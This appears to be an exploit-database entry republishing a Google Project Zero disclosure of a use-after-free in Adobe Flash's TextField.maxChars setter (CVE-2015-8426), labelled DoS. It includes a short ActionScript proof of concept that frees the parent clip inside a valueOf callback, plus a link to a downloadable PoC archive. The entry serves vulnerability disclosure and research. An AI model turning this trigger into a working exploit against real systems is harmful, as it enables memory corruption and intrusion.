Exploit Adobe Flash - textfield.maxChars Use-After-Free

[Exploiter]

EDB-ID

39650

Проверка EDB

1. Пройдено

Автор

GOOGLE SECURITY RESEARCH

Тип уязвимости

DOS

Платформа

MULTIPLE

CVE

cve-2015-8426

Дата публикации

2016-04-01

Adobe Flash - textfield.maxChars Use-After-Free

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=581

There is a use-after-free in the TextField.maxChars setter. If the maxChars the field is set to is an object with valueOf defined, the valueOf function can free the field's parent object, which is then used. A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.maxChars = {valueOf : func};

function func(){

        if (times == 0){
            times++;
            return 7;
        }
	mc.removeMovieClip();

        // Fix heap here

	return 7;
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39650.zip